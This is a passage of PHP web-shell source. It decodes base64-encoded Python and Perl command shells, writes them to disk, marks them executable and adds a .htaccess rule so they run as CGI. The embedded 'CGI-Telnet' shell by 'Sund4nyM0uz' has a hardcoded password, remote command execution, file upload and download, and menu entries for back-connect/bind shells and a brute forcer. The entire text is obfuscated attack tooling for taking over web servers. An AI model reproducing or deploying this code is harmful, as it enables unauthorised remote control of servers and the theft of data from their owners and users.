aW50IHJlc3VsdC5yZXBsYWNlKCdcbicsICc8QlI+JykKCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlv
biwgZTogICAgICAgICAgICAgICAgICAgICAgIyBhbiBlcnJvciBpbiBleGVjdXRpbmcgdGhlIGNv
bW1hbmQKICAgICAgICAgICAgcHJpbnQgZXJyb3JtZXNzCiAgICAgICAgICAgIGYgPSBTdHJpbmdJ
TygpCiAgICAgICAgICAgIHByaW50X2V4YyhmaWxlPWYpCiAgICAgICAgICAgIGEgPSBmLmdldHZh
bHVlKCkuc3BsaXRsaW5lcygpCiAgICAgICAgICAgIGZvciBsaW5lIGluIGE6CiAgICAgICAgICAg
ICAgICBwcmludCBsaW5lCgogICAgcHJpbnQgYm9keWVuZAoKCiIiIgpUT0RPL0lTU1VFUwoKCgpD
SEFOR0VMT0cKCjA3LTA3LTA0ICAgICAgICBWZXJzaW9uIDEuMC4wCkEgdmVyeSBiYXNpYyBzeXN0
ZW0gZm9yIGV4ZWN1dGluZyBzaGVsbCBjb21tYW5kcy4KSSBtYXkgZXhwYW5kIGl0IGludG8gYSBw
cm9wZXIgJ2Vudmlyb25tZW50JyB3aXRoIHNlc3Npb24gcGVyc2lzdGVuY2UuLi4KIiIi';

$file = fopen("python.izo" ,"w+");
$write = fwrite ($file ,base64_decode($pythonp));
fclose($file);
    chmod("python.izo",0755);
   echo " <iframe src=python/python.izo width=96% height=76% frameborder=0></iframe>
 
 </div>"; }
 
 elseif(isset($_GET['x']) && ($_GET['x'] == 'cgi')) { echo "<center/><br/><b>
 +--==[ CGI-Telnet Version 1.3 ]==--+ 
 </b><br><br>";
 
 
    mkdir('cgi2012', 0755);
    chdir('cgi2012');
        $kokdosya = ".htaccess";
        $dosya_adi = "$kokdosya";
        $dosya = fopen ($dosya_adi , 'w') or die ("Dosya a&#231;&#305;lamad&#305;!");
        $metin = "AddHandler cgi-script .izo";    
        fwrite ( $dosya , $metin ) ;
        fclose ($dosya);
$cgi2012 = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQp1c2UgTUlNRTo6QmFzZTY0Ow0KJFZlcnNpb249ICJDR0ktVGVsbmV0IFZlcnNpb24gMS4zIEJ5IFN1bmQ0bnlNMHV6IjsNCiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHggcmdiKDMwMCwgMCwgMCksIDBweCAwcHggNXB4IHJnYigzMDAsIDAsIDApOyBjb2xvcjojZmZmZmZmOyBmb250LXdlaWdodDpib2xkOyc+U3VuZDRueU0wdXogSGVyZTwvZm9udD4iOw0KDQokUGFzc3dvcmQgPSAiYmFuZHVuZ2tvdGFzYW1wYWgiOwkJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhpcw0KCQkJCSMgdG8gbG9naW4uDQpzdWIgSXNfV2luKCl7DQoJJG9zID0gJnRyaW0oJEVOVnsiU0VSVkVSX1NPRlRXQVJFIn0pOw0KCWlmKCRvcyA9fiBtL3dpbi9pKXsNCgkJcmV0dXJuIDE7DQoJfQ0KCWVsc2V7DQoJCXJldHVybiAwOw0KCX0NCn0NCiRXaW5OVCA9ICZJc19XaW4oKTsJCQkJIyBZb3UgbmVlZCB0byBjaGFuZ2UgdGhlIHZhbHVlIG9mIHRoaXMgdG8gMSBpZg0KCQkJCQkJCQkjIHlvdSdyZSBydW5uaW5nIHRoaXMgc2NyaXB0IG9uIGEgV2luZG93cyBOVA0KCQkJCQkJCQkjIG1hY2hpbmUuIElmIHlvdSdyZSBydW5uaW5nIGl0IG9uIFVuaXgsIHlvdQ0KCQkJCQkJCQkjIGNhbiBsZWF2ZSB0aGUgdmFsdWUgYXMgaXQgaXMuDQoNCiROVENtZFNlcCA9ICImIjsJCQkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMNCgkJCQkJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULg0KDQokVW5peENtZFNlcCA9ICI7IjsJCQkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMNCgkJCQkJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBVbml4Lg0KDQokQ29tbWFuZFRpbWVvdXREdXJhdGlvbiA9IDEwMDAwOwkjIFRpbWUgaW4gc2Vjb25kcyBhZnRlciBjb21tYW5kcyB3aWxsIGJlIGtpbGxlZA0KCQkJCQkJCQkjIERvbid0IHNldCB0aGlzIHRvIGEgdmVyeSBsYXJnZSB2YWx1ZS4gVGhpcyBpcw0KCQkJCQkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0DQoJCQkJCQkJCSMgdGFrZSB2ZXJ5IGxvbmcgdG8gZXhlY3V0ZSwgbGlrZSAiZmluZCAvIi4NCgkJCQkJCQkJIyBUaGlzIGlzIHZhbGlkIG9ubHkgb24gVW5peCBzZXJ2ZXJzLiBJdCBpcw0KCQkJCQkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4NCg0KJFNob3dEeW5hbWljT3V0cHV0ID0gMTsJCQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRhIGlzIHNlbnQgdG8gdGhlDQoJCQkJCQkJCSMgYnJvd3NlciBhcyBzb29uIGFzIGl0IGlzIG91dHB1dCwgb3RoZXJ3aXNlDQoJCQkJCQkJCSMgaXQgaXMgYnVmZmVyZWQgYW5kIHNlbmQgd2hlbiB0aGUgY29tbWFuZA0KCQkJCQkJCQkjIGNvbXBsZXRlcy4gVGhpcyBpcyB1c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UNCgkJCQkJCQkJIyBwaW5nLCBzbyB0aGF0IHlvdSBjYW4gc2VlIHRoZSBvdXRwdXQgYXMgaXQNCgkJCQkJCQkJIyBpcyBiZWluZyBnZW5lcmF0ZWQuDQoNCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISENCg0KJENtZFNlcCA9ICgkV2luTlQgPyAkTlRDbWRTZXAgOiAkVW5peENtZFNlcCk7DQokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7DQokUGF0aFNlcCA9ICgkV2luTlQgPyAiXFwiIDogIi8iKTsNCiRSZWRpcmVjdG9yID0gKCRXaW5OVCA/ICIgMj4mMSAxPiYyIiA6ICIgMT4mMSAyPiYxIik7DQokY29scz0gMTUwOw0KJHJvd3M9IDI2Ow0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBSZWFkcyB0aGUgaW5wdXQgc2VudCBieSB0aGUgYnJvd3NlciBhbmQgcGFyc2VzIHRoZSBpbnB1dCB2YXJpYWJsZXMuIEl0DQojIHBhcnNlcyBHRVQsIFBPU1QgYW5kIG11bHRpcGFydC9mb3JtLWRhdGEgdGhhdCBpcyB1c2VkIGZvciB1cGxvYWRpbmcgZmlsZXMuDQojIFRoZSBmaWxlbmFtZSBpcyBzdG9yZWQgaW4gJGlueydmJ30gYW5kIHRoZSBkYXRhIGlzIHN0b3JlZCBpbiAkaW57J2ZpbGVkYXRhJ30uDQojIE90aGVyIHZhcmlhYmxlcyBjYW4gYmUgYWNjZXNzZWQgdXNpbmcgJGlueyd2YXInfSwgd2hlcmUgdmFyIGlzIHRoZSBuYW1lIG9mDQojIHRoZSB2YXJpYWJsZS4gTm90ZTogTW9zdCBvZiB0aGUgY29kZSBpbiB0aGlzIGZ1bmN0aW9uIGlzIHRha2VuIGZyb20gb3RoZXIgQ0dJDQojIHNjcmlwdHMuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUmVhZFBhcnNlIA0Kew0KCWxvY2FsICgqaW4pID0gQF8gaWYgQF87DQoJbG9jYWwgKCRpLCAkbG9jLCAka2V5LCAkdmFsKTsNCgkNCgkkTXVsdGlwYXJ0Rm9ybURhdGEgPSAkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLzsNCg0KCWlmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIkdFVCIpDQoJew0KCQkkaW4gPSAkRU5WeydRVUVSWV9TVFJJTkcnfTsNCgl9DQoJZWxzaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiUE9TVCIpDQoJew0KCQliaW5tb2RlKFNURElOKSBpZiAkTXVsdGlwYXJ0Rm9ybURhdGEgJiAkV2luTlQ7DQoJCXJlYWQoU1RESU4sICRpbiwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7DQoJfQ0KDQoJIyBoYW5kbGUgZmlsZSB1cGxvYWQgZGF0YQ0KCWlmKCRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvKQ0KCXsNCgkJJEJvdW5kYXJ5ID0gJy0tJy4kMTsgIyBwbGVhc2UgcmVmZXIgdG8gUkZDMTg2NyANCgkJQGxpc3QgPSBzcGxpdCgvJEJvdW5kYXJ5LywgJGluKTsgDQoJCSRIZWFkZXJCb2R5ID0gJGxpc3RbMV07DQoJCSRIZWFkZXJCb2R5ID1+IC9cclxuXHJcbnxcblxuLzsNCgkJJEhlYWRlciA9ICRgOw0KCQkkQm9keSA9ICQnOw0KIAkJJEJvZHkgPX4gcy9cclxuJC8vOyAjIHRoZSBsYXN0IFxyXG4gd2FzIHB1dCBpbiBieSBOZXRzY2FwZQ0KCQkkaW57J2ZpbGVkYXRhJ30gPSAkQm9keTsNCgkJJEhlYWRlciA9fiAvZmlsZW5hbWU9XCIoLispXCIvOyANCgkJJGlueydmJ30gPSAkMTsgDQoJCSRpbnsnZid9ID1+IHMvXCIvL2c7DQoJCSRpbnsnZid9ID1+IHMvXHMvL2c7DQoNCgkJIyBwYXJzZSB0cmFpbGVyDQoJCWZvcigkaT0yOyAkbGlzdFskaV07ICRpKyspDQoJCXsgDQoJCQkkbGlzdFskaV0gPX4gcy9eLituYW1lPSQvLzsNCgkJCSRsaXN0WyRpXSA9fiAvXCIoXHcrKVwiLzsNCgkJCSRrZXkgPSAkMTsNCgkJCSR2YWwgPSAkJzsNCgkJCSR2YWwgPX4gcy8oXihcclxuXHJcbnxcblxuKSl8KFxyXG4kfFxuJCkvL2c7DQoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOw0KCQkJJGlueyRrZXl9ID0gJHZhbDsgDQoJCX0NCgl9DQoJZWxzZSAjIHN0YW5kYXJkIHBvc3QgZGF0YSAodXJsIGVuY29kZWQsIG5vdCBtdWx0aXBhcnQpDQoJew0KCQlAaW4gPSBzcGxpdCgvJi8sICRpbik7DQoJCWZvcmVhY2ggJGkgKDAgLi4gJCNpbikNCgkJew0KCQkJJGluWyRpXSA9fiBzL1wrLyAvZzsNCgkJCSgka2V5LCAkdmFsKSA9IHNwbGl0KC89LywgJGluWyRpXSwgMik7DQoJCQkka2V5ID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOw0KCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCgkJCSRpbnska2V5fSAuPSAiXDAiIGlmIChkZWZpbmVkKCRpbnska2V5fSkpOw0KCQkJJGlueyRrZXl9IC49ICR2YWw7DQoJCX0NCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIFBhZ2UgSGVhZGVyDQojIEFyZ3VtZW50IDE6IEZvcm0gaXRlbSBuYW1lIHRvIHdoaWNoIGZvY3VzIHNob3VsZCBiZSBzZXQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludFBhZ2VIZWFkZXINCnsNCgkkRW5jb2RlZEN1cnJlbnREaXIgPSAkQ3VycmVudERpcjsNCgkkRW5jb2RlZEN1cnJlbnREaXIgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOw0KCW15ICRkaXIgPSRDdXJyZW50RGlyOw0KCSRkaXI9fiBzL1xcL1xcXFwvZzsNCglwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCglwcmludCA8PEVORDsNCjxodG1sPg0KPGhlYWQ+DQo8bWV0YSBodHRwLWVxdWl2PSJjb250ZW50LXR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCI+DQo8dGl0bGU+SGFjc3VnaWE8L3RpdGxlPg0KDQokSHRtbE1ldGFIZWFkZXINCg0KPC9oZWFkPg0KPHN0eWxlPg0KYm9keXsNCmZvbnQ6IDEwcHQgVmVyZGFuYTsNCn0NCnRyIHsNCkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOw0KY29sb3I6ICNmZjk5MDA7DQp9DQp0ZCB7DQpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsNCmNvbG9yOiAjMkJBOEVDOw0KZm9udDogMTBwdCBWZXJkYW5hOw0KfQ0KDQp0YWJsZSB7DQpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMxMTE7DQp9DQoNCg0KaW5wdXQgew0KQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7DQpCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsNCmZvbnQ6IDEwcHQgVmVyZGFuYTsNCmNvbG9yOiAjZmY5OTAwOw0KfQ0KDQppbnB1dC5zdWJtaXQgew0KdGV4dC1zaGFkb3c6IDBwdCAwcHQgMC4zZW0gY3lhbiwgMHB0IDBwdCAwLjNlbSBjeWFuOw0KY29sb3I6ICNGRkZGRkY7DQpib3JkZXItY29sb3I6ICMwMDk5MDA7DQp9DQoNCmNvZGUgew0KYm9yZGVyCQkJOiBkYXNoZWQgMHB4ICMzMzM7DQpCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsNCmZvbnQ6IDEwcHQgVmVyZGFuYSBib2xkOw0KY29sb3I6IHdoaWxlOw0KfQ0KDQpydW4gew0KYm9yZGVyCQkJOiBkYXNoZWQgMHB4ICMzMzM7DQpmb250OiAxMHB0IFZlcmRhbmEgYm9sZDsNCmNvbG9yOiAjRkYwMEFBOw0KfQ0KDQp0ZXh0YXJlYSB7DQpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMxYjFiMWI7DQpmb250OiBGaXhlZHN5cyBib2xkOw0KY29sb3I6ICNhYWE7DQp9DQpBOmxpbmsgew0KCUNPTE9SOiAjMkJBOEVDOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6dmlzaXRlZCB7DQoJQ09MT1I6ICMyQkE4RUM7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KQTpob3ZlciB7DQoJdGV4dC1zaGFkb3c6IDBwdCAwcHQgMC4zZW0gY3lhbiwgMHB0IDBwdCAwLjNlbSBjeWFuOw0KCWNvbG9yOiAjZmY5OTAwOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6YWN0aXZlIHsNCgljb2xvcjogUmVkOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCg0KLmxpc3RkaXIgdHI6aG92ZXJ7DQoJYmFja2dyb3VuZDogIzQ0NDsNCn0NCi5saXN0ZGlyIHRyOmhvdmVyIHRkew0KCWJhY2tncm91bmQ6ICM0NDQ7DQoJdGV4dC1zaGFkb3c6IDBwdCAwcHQgMC4zZW0gY3lhbiwgMHB0IDBwdCAwLjNlbSBjeWFuOw0KCWNvbG9yOiAjRkZGRkZGOyBURVhULURFQ09SQVRJT046IG5vbmU7DQp9DQoubm90bGluZXsNCgliYWNrZ3JvdW5kOiAjMTExOw0KfQ0KLmxpbmV7DQoJYmFja2dyb3VuZDogIzIyMjsNCn0NCjwvc3R5bGU+DQo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4NCmZ1bmN0aW9uIGNobW9kX2Zvcm0oaSxmaWxlKQ0Kew0KCS8qdmFyIGFqYXg9J2FqYXhfUG9zdERhdGEoIkZvcm1QZXJtc18nK2krJyIsIiRTY3JpcHRMb2NhdGlvbiIsIlJlc3BvbnNlRGF0YSIpOyByZXR1cm4gZmFsc2U7JzsqLw0KCXZhciBhamF4PSIiOw0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlUGVybXNfIitpKS5pbm5lckhUTUw9Ijxmb3JtIG5hbWU9Rm9ybVBlcm1zXyIgKyBpKyAiIGFjdGlvbj0nJyBtZXRob2Q9J1BPU1QnPjxpbnB1dCBpZD10ZXh0XyIgKyBpICsgIiAgbmFtZT1jaG1vZCB0eXBlPXRleHQgc2l6ZT01IC8+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBhamF4ICsgIicgdmFsdWU9T0s+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nZ3VpJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPSckZGlyJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1mIHZhbHVlPSciK2ZpbGUrIic+PC9mb3JtPiI7DQoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7DQp9DQpmdW5jdGlvbiBybV9jaG1vZF9mb3JtKHJlc3BvbnNlLGkscGVybXMsZmlsZSkNCnsNCglyZXNwb25zZS5pbm5lckhUTUwgPSAiPHNwYW4gb25jbGljaz1cXFwiY2htb2RfZm9ybSgiICsgaSArICIsJyIrIGZpbGUrICInKVxcXCIgPiIrIHBlcm1zICsiPC9zcGFuPjwvdGQ+IjsNCn0NCmZ1bmN0aW9uIHJlbmFtZV9mb3JtKGksZmlsZSxmKQ0Kew0KCXZhciBhamF4PSIiOw0KCWYucmVwbGFjZSgvXFxcXC9nLCJcXFxcXFxcXCIpOw0KCXZhciBiYWNrPSJybV9yZW5hbWVfZm9ybSgiK2krIixcXFwiIitmaWxlKyJcXFwiLFxcXCIiK2YrIlxcXCIpOyByZXR1cm4gZmFsc2U7IjsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGZvcm0gbmFtZT1Gb3JtUGVybXNfIiArIGkrICIgYWN0aW9uPScnIG1ldGhvZD0nUE9TVCc+PGlucHV0IGlkPXRleHRfIiArIGkgKyAiICBuYW1lPXJlbmFtZSB0eXBlPXRleHQgdmFsdWU9ICciK2ZpbGUrIicgLz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgb25jbGljaz0nIiArIGFqYXggKyAiJyB2YWx1ZT1PSz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgb25jbGljaz0nIiArIGJhY2sgKyAiJyB2YWx1ZT1DYW5jZWw+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nZ3VpJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPSckZGlyJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1mIHZhbHVlPSciK2ZpbGUrIic+PC9mb3JtPiI7DQoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7DQp9DQpmdW5jdGlvbiBybV9yZW5hbWVfZm9ybShpLGZpbGUsZikNCnsNCglpZihmPT0nZicpDQoJew0KCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGEgaHJlZj0nP2E9Y29tbWFuZCZkPSRkaXImYz1lZGl0JTIwIitmaWxlKyIlMjAnPiIgK2ZpbGUrICI8L2E+IjsNCgl9ZWxzZQ0KCXsNCgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWd1aSZkPSIrZisiJz5bICIgK2ZpbGUrICIgXTwvYT4iOw0KCX0NCn0NCjwvc2NyaXB0Pg0KPGJvZHkgb25Mb2FkPSJkb2N1bWVudC5mLkBfLmZvY3VzKCkiIGJnY29sb3I9IiMwYzBjMGMiIHRvcG1hcmdpbj0iMCIgbGVmdG1hcmdpbj0iMCIgbWFyZ2lud2lkdGg9IjAiIG1hcmdpbmhlaWdodD0iMCI+DQo8Y2VudGVyPjxjb2RlPg0KPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+DQo8dHI+DQoJPHRkIGFsaWduPSJjZW50ZXIiIHJvd3NwYW49Mj4NCgkJPGI+PGZvbnQgc2l6ZT0iNSI+JEVkaXRQZXJzaW9uPC9mb250PjwvYj4NCgk8L3RkPg0KDQoJPHRkPg0KDQoJCTxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjIiPiRFTlZ7IlNFUlZFUl9TT0ZUV0FSRSJ9PC9mb250Pg0KCTwvdGQ+DQoJPHRkPlNlcnZlciBJUDo8Zm9udCBjb2xvcj0iI2NjMDAwMCI+ICRFTlZ7J1NFUlZFUl9BRERSJ308L2ZvbnQ+IHwgWW91ciBJUDogPGZvbnQgY29sb3I9IiMwMDAwMDAiPiRFTlZ7J1JFTU9URV9BRERSJ308L2ZvbnQ+DQoJPC90ZD4NCg0KPC90cj4NCg0KPHRyPg0KPHRkIGNvbHNwYW49IjMiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjIiPg0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uIj5Ib21lPC9hPiB8IA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y29tbWFuZCZkPSRFbmNvZGVkQ3VycmVudERpciI+Q29tbWFuZDwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Z3VpJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5HVUk8L2E+IHwgDQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT11cGxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPlVwbG9hZCBGaWxlPC9hPiB8IA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwNCg0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9YmFja2JpbmQiPkJhY2sgJiBCaW5kPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1icnV0ZWZvcmNlciI+QnJ1dGUgRm9yY2VyPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1jaGVja2xvZyI+Q2hlY2sgTG9nPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1kb21haW5zdXNlciI+RG9tYWlucy9Vc2VyczwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5Mb2dvdXQ8L2E+IHwNCjxhIHRhcmdldD0nX2JsYW5rJyBocmVmPSIjIj5IZWxwPC9hPg0KDQo8L2ZvbnQ+PC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KPGZvbnQgaWQ9IlJlc3BvbnNlRGF0YSIgY29sb3I9IiNmZjk5Y2MiID4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgTG9naW4gU2NyZWVuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpblNjcmVlbg0Kew0KDQoJcHJpbnQgPDxFTkQ7DQo8cHJlPjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NClR5cGluZ1RleHQgPSBmdW5jdGlvbihlbGVtZW50LCBpbnRlcnZhbCwgY3Vyc29yLCBmaW5pc2hlZENhbGxiYWNrKSB7DQogIGlmKCh0eXBlb2YgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQgPT0gInVuZGVmaW5lZCIpIHx8ICh0eXBlb2YgZWxlbWVudC5pbm5lckhUTUwgPT0gInVuZGVmaW5lZCIpKSB7DQogICAgdGhpcy5ydW5uaW5nID0gdHJ1ZTsJLy8gTmV2ZXIgcnVuLg0KICAgIHJldHVybjsNCiAgfQ0KICB0aGlzLmVsZW1lbnQgPSBlbGVtZW50Ow0KICB0aGlzLmZpbmlzaGVkQ2FsbGJhY2sgPSAoZmluaXNoZWRDYWxsYmFjayA/IGZpbmlzaGVkQ2FsbGJhY2sgOiBmdW5jdGlvbigpIHsgcmV0dXJuOyB9KTsNCiAgdGhpcy5pbnRlcnZhbCA9ICh0eXBlb2YgaW50ZXJ2YWwgPT0gInVuZGVmaW5lZCIgPyAxMDAgOiBpbnRlcnZhbCk7DQogIHRoaXMub3JpZ1RleHQgPSB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MOw0KICB0aGlzLnVucGFyc2VkT3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0Ow0KICB0aGlzLmN1cnNvciA9IChjdXJzb3IgPyBjdXJzb3IgOiAiIik7DQogIHRoaXMuY3VycmVudFRleHQgPSAiIjsNCiAgdGhpcy5jdXJyZW50Q2hhciA9IDA7DQogIHRoaXMuZWxlbWVudC50eXBpbmdUZXh0ID0gdGhpczsNCiAgaWYodGhpcy5lbGVtZW50LmlkID09ICIiKSB0aGlzLmVsZW1lbnQuaWQgPSAidHlwaW5ndGV4dCIgKyBUeXBpbmdUZXh0LmN1cnJlbnRJbmRleCsrOw0KICBUeXBpbmdUZXh0LmFsbC5wdXNoKHRoaXMpOw0KICB0aGlzLnJ1bm5pbmcgPSBmYWxzZTsNCiAgdGhpcy5pblRhZyA9IGZhbHNlOw0KICB0aGlzLnRhZ0J1ZmZlciA9ICIiOw0KICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOw0KICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgPSAiIjsNCn0NClR5cGluZ1RleHQuYWxsID0gbmV3IEFycmF5KCk7DQpUeXBpbmdUZXh0LmN1cnJlbnRJbmRleCA9IDA7DQpUeXBpbmdUZXh0LnJ1bkFsbCA9IGZ1bmN0aW9uKCkgew0KICBmb3IodmFyIGkgPSAwOyBpIDwgVHlwaW5nVGV4dC5hbGwubGVuZ3RoOyBpKyspIFR5cGluZ1RleHQuYWxsW2ldLnJ1bigpOw0KfQ0KVHlwaW5nVGV4dC5wcm90b3R5cGUucnVuID0gZnVuY3Rpb24oKSB7DQogIGlmKHRoaXMucnVubmluZykgcmV0dXJuOw0KICBpZih0eXBlb2Y